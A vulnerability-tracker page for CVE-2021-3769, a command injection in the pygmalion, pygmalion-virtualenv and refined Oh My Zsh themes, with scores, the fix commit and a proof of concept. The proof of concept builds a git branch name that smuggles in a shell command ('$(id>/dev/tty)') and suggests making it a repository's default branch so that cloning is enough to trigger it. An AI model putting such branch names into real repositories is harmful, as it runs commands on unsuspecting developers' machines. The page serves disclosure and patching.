CVE-2021-3769
OS Command Injection in ohmyzsh/ohmyzsh
- Published
- Updated
- Reserved
- Assigned by
- @huntrdev
Description
# Vulnerability in `pygmalion`, `pygmalion-virtualenv` and `refined` themes **Description**: these themes use `print -P` on user-supplied strings to print them to the terminal. All of them do that on git information, particularly the branch name, so if the branch has a specially-crafted name the vulnerability can be exploited. **Fixed in**: [b3ba9978](https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978). **Impacted areas**: - `pygmalion` theme. - `pygmalion-virtualenv` theme. - `refined` theme.
Timeline
ID reserved
By @huntrdev
- 3 months later
· 3 months later
Published
- 3 years later
· 3 years later
Record updated
Changes after publication (a new score, a public exploit, EPSS crossing 1, 10 or 50 %, leaving KEV) are kept since November 2026; earlier ones are not known.
Scores
| Scored by | CVSS | Score | Vector |
|---|---|---|---|
| @huntrdevCNA (assigner) | 3.1 | High7.5 | CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H |
| NVDNVD · Modified | 3.1 | Critical9.8 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
- EPSS (exploitation in 30 days)
- 0.97% · top 38% of all CVEs (7 Nov 2026)
The list uses the assigner's score when there is one, then CISA's, then NVD's: High 7.5.
Weakness
Affected products
- affected unspecified – < b3ba9978
What to do
Exploitation: **Exploit PoC**: 1. Install Oh My Zsh. 2. Enable the `pygmalion`, `pygmalion-virtualenv` or `refined` themes. 3. Create and `cd` into a new git repository: `git init bad-repo && cd bad-repo`. 4. Create and switch to a new branch with a name containing either `$(<injected-command>`, <code>\`\<injected-command\>\`</code> or `${(e):-"<injected-command>"}`: ```sh badbranch='feat/bad-branch$(id>/dev/tty)' git checkout -b "$badbranch" ``` In the `pygmalion` theme, the prompt changes changes from the default branch to: ```console user@host:~/exploit-poc|master ⇒ badbranch='feat/bad-branch$(id>/dev/tty)'; git checkout -b "$badbranch" Switched to a new branch 'feat/bad-branch$(id>/dev/tty)' uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),... uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),... user@host:~/exploit-poc|feat/bad-branch ⇒ ``` A similar thing happens in `pygmalion-virtualenv` and `refined` themes. NOTE: for maximum impact, you can define the malicious branch name as the default branch name in GitHub, so that when a user clones it for the first time and enters the repository, the malicious branch is automatically checked out. That means that the user only needs to clone and enter the repository for the exploit to work.
References (1)
- https://github.com/ohmyzsh/ohmyzsh/commit/b3ba9978 (opens in a new tab)x_refsource_MISCx_transferred
Sources
The same CVE in the primary databases and aggregators, to check against.
- CVE.org record (opens in a new tab)
- CVE List JSON (GitHub) (opens in a new tab)
- NVD (opens in a new tab)
- FIRST EPSS (opens in a new tab)
- OSV.dev (opens in a new tab)
- GitHub Advisories (opens in a new tab)
- CIRCL Vulnerability-Lookup (opens in a new tab)
Badge for a README or a ticket
[](https://trackcve.app/cve/CVE-2021-3769)Record last updated .